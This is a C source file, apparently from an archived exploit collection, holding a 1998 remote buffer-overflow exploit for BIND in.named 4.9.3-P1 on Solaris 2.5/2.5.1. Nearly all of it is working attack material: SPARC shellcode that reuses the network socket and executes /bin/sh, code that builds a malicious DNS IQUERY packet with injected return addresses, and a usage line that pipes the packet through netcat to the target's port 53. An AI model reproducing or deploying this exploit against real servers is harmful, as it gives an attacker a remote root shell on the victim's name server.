home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / solbind-493p1.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  152 lines

  1. /* private */
  2. /*
  3.   remote in.named 4.9.3-P1 exploit Example for Solaris 2.5.1 (do not use!.)
  4.   4-May-1998 by stran9er
  5.   info about how to make dns request packet from:
  6.     bof-test.c written solely by Joshua J. Drake (jdrake@pulsar.net) 
  7.   bug in: /in.named/ns_req.c:ns_req()
  8.   shellcode based/riped on/from dropstatd-sol24.c_by_unknown_author
  9. */
  10.  
  11. #define FRAME1_UPLEN   0x200
  12. #define SHELLC_DOWNSET 0x100
  13. #define BUF_LEN        (FRAME1_UPLEN-16)
  14. #define FRAME2_LEN     sizeof(frame2)
  15. #define BUF_BEGIN      0xeffff730
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <sys/types.h>
  21. #include <netinet/in.h>
  22. #include <unistd.h>
  23. #include <arpa/nameser.h>
  24.  
  25. #define SPARC_JMP       0x10800000
  26. #define SPARC_CALL      0x40000000
  27.  
  28. char shellc[]=
  29.   "\x90\x1A\xC0\x0F" /** xor  %o3, %o7, %o0 */
  30.   "\x90\x02\x20\x08" /** add  %o0, 8, %o0 */
  31.   "\x92\x02\x20\x0F" /** add  %o0, 0xf, %o1 */
  32.   "\xD0\x23\xBF\xF8" /** st  %o0, [ %sp + -8 ] */
  33.   "\xD6\x23\xBF\xFC" /** st  %o3, [ %sp + -4 ] */
  34.   "\xda\x02\x20\x78" /*+ ld  [ %o0 + 0x78 ], %o5 */ /* !! */
  35.   "\x90\x10\x00\x0d" /*+ mov  %o5, %o0 */
  36.   "\x92\x10\x20\x04" /*+ mov F_SETFL, %o1 */
  37.   "\x94\x10\x20\x02" /*+ mov 2, %o2  !remove damn FNDELAY mode.. */
  38.   "\x82\x10\x20\x3e" /*+ mov 62, %g1 !fcntl()*/
  39.   "\x91\xd0\x20\x08" /*+ ta 8 */
  40.   "\x98\x1A\xC0\x0b" /** xor  %o3, %o3, %o4 */
  41.   "\x82\x10\x20\x06" /** mov  6, %g1    ! SYS_close */
  42.   "\x90\x1A\xC0\x0c" /** xor  %o3, %o4, %o0 */
  43.   "\x91\xd0\x20\x08" /*+ ta 8 */
  44.   "\x80\xA3\x20\x08" /*+ cmp %o4, 8 */
  45.   "\x12\xBF\xFF\xFD" /** bne  -3 */
  46.   "\x98\x03\x20\x01" /** inc  %o4 */
  47.   "\x98\x1A\xC0\x0b" /** xor  %o3, %o3, %o4 */
  48.   "\x82\x10\x20\x29" /** 0x29, %g1    ! SYS_dup */
  49.   "\x90\x10\x00\x0d" /*+ mov  %o5, %o0 */
  50.   "\x91\xd0\x20\x08" /*+ ta 8 */
  51.   "\x80\xA3\x20\x02" /** cmp  %o4, 2 */
  52.   "\x12\xBF\xFF\xFD" /** bne -3 */
  53.   "\x98\x03\x20\x01" /** inc  %o4 */
  54.   "\xD0\x03\xBF\xF8" /** ld  [ %sp + -8 ], %o0 */
  55.   "\x92\x23\xA0\x08" /** sub  %sp, 8, %o1 */
  56.   "\x94\x23\xA0\x04" /** sub  %sp, 4, %o2 */
  57.   "\x82\x10\x20\x3b" /** mov  0x3b, %g1    ! SYS_execve */
  58.   "\x91\xd0\x20\x08" /*+ ta 8 */
  59.   "\x82\x10\x20\x01" /*+ mov 1, %g1     ! _exit */
  60.   "\x91\xd0\x20\x08" /*+ ta 8 */
  61.   "\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b" /* +128 */
  62.   "\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b"
  63.   "\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b\x96\x1A\xC0\x0b"
  64.   "\x40\x00\x00\x02" /* call +2 */ /* entry point for sol2.5 */
  65.   "\x01\x00\x00\x00" /*+ nop */
  66.   "\x90\x10\x00\x0F" /*+ mov  %o7, %o0 */
  67.   "\xda\x02\x20\xA4" /*+ ld  [ %o0 + 0xA4 ], %o5 */ /* !! */
  68.   "\xda\x22\x20\xAC" /*+ st  %o5, [ %o0 + 0xAC ] */ /* !! */
  69.   "\x10\x80\x00\x03" /*+ b +3 */
  70.   "\x96\x1A\xC0\x0b" /*+ xor  %o3, %o3, %o3 */
  71.   "\x96\x1A\xC0\x0b" /*+ will be damaged */
  72.   "\x96\x1A\xC0\x0b" /** xor  %o3, %o3, %o3 */ /* entry point for sol2.5.1 */
  73.   "\x96\x1A\xC0\x0b" /** xor  %o3, %o3, %o3 */
  74.   //"\x00\x00\x00\x00" /*debug trap*/
  75.   "\x9C\x23\xA1\x80" /** sub  %sp, 0x180, %sp */
  76.   "\x7F\xFF\xFF\xC9" /*+ call -55 */
  77.   "\x96\x1A\xC0\x0b" /** xor  %o3, %o3, %o3 */
  78.   "/bin"
  79.   "/sh\x00";
  80. /** <- original code */
  81. /*+ <- my modifications */
  82.  
  83. unsigned long int frame2[] = {
  84.   0xefffe000,0x00000000,0x00000001,0xefffe000,
  85.   0x00000000,0x00000000,0x00000000,0x00000000,
  86.   0xefffe000,0xefffe000,0xefffe000,0xefffe000,
  87.   0xefffe000,0xffffffff,0xefffe000,0x12345678 };
  88.  
  89. typedef struct
  90.   {
  91.     unsigned short int    r_class;        /* class number */
  92.     unsigned short int    r_type;            /* type number */
  93.     unsigned long int    r_ttl;            /* time to live */
  94.     unsigned short int    r_size;            /* size of data area */
  95.     char r_data[FRAME1_UPLEN+FRAME2_LEN-2-2-4-2];    /* pointer to data */
  96.   }
  97. rrecord;
  98.  
  99. main(int argc, char **argv)
  100. {
  101.   HEADER *h;
  102.   rrecord *rr;
  103.   char db[sizeof(HEADER)+sizeof(rrecord)+2];
  104.   char *buf, *ptr;
  105.   unsigned long int *lptr, *lptrf;
  106.   unsigned char cat[]="no";
  107.   short int *buflen;
  108.   unsigned long stack = BUF_BEGIN, offset;
  109.   int o,b,c,t;
  110.  
  111.   fprintf (stderr, "* Solaris 2.5.1 in.named 4.9.3-P1 exploit example by stran9er \n");
  112.   if ( (argc<2) )
  113.     {
  114.       fprintf (stderr, "usage: (%s 0 ;cat) | netcat target 53\n",argv[0]);
  115.       exit(1);
  116.     }
  117.   offset=atoi(argv[1]);
  118.   stack+=offset;
  119.   fprintf(stderr,"\nAddress: 0x%x Offset: %d\n",stack, offset);
  120.   buf=db;
  121.   memset(buf, 0, sizeof(db));
  122.   buflen=(short int *)buf;
  123.   *buflen=htons(sizeof(db)-2);
  124.   h = (HEADER *)(buf+2);
  125.   h->id = rand() & 0xfff;
  126.   h->opcode = IQUERY;
  127.   h->ancount = htons(1);
  128.   ptr=(char *)h+sizeof(HEADER);
  129.   rr=(rrecord *)((char *)h+sizeof(HEADER)+1);
  130.   rr->r_class= htons(C_IN);
  131.   rr->r_type = htons(T_A);
  132.   rr->r_size = htons(sizeof(rr->r_data)-1);
  133.   lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-BUF_LEN);
  134. #define CALL_OFFSET 52+(FRAME1_UPLEN-SHELLC_DOWNSET-16)/4
  135.   for(c=0;c<(BUF_LEN/4);c++)
  136.     *lptr++ = htonl(SPARC_CALL+CALL_OFFSET-c);
  137.   for(c=0;c<((sizeof(frame2)/4));c++)
  138.     {
  139.       if (frame2[c]==0x12345678) frame2[c]=stack;
  140.       *lptr++ = htonl(frame2[c]);
  141.     }
  142.   lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-SHELLC_DOWNSET);
  143.   memcpy((char *)lptr,shellc,sizeof(shellc)-1);
  144.   /*** configure Solaris 2.5 entry points for zero offset ***/
  145.   lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-SHELLC_DOWNSET+128-356);
  146.   *lptr = htonl(SPARC_CALL+(356/4)); /* sol2.5 restarted */
  147.   lptr = (unsigned long int *)(ptr+FRAME1_UPLEN-SHELLC_DOWNSET+128-308);
  148.   *lptr = htonl(SPARC_CALL+(308/4)); /* sol2.5 first */
  149.   write(1,buf,sizeof(db));
  150. }
  151. /* private */
  152. /*                    www.hack.co.za              [2000]*/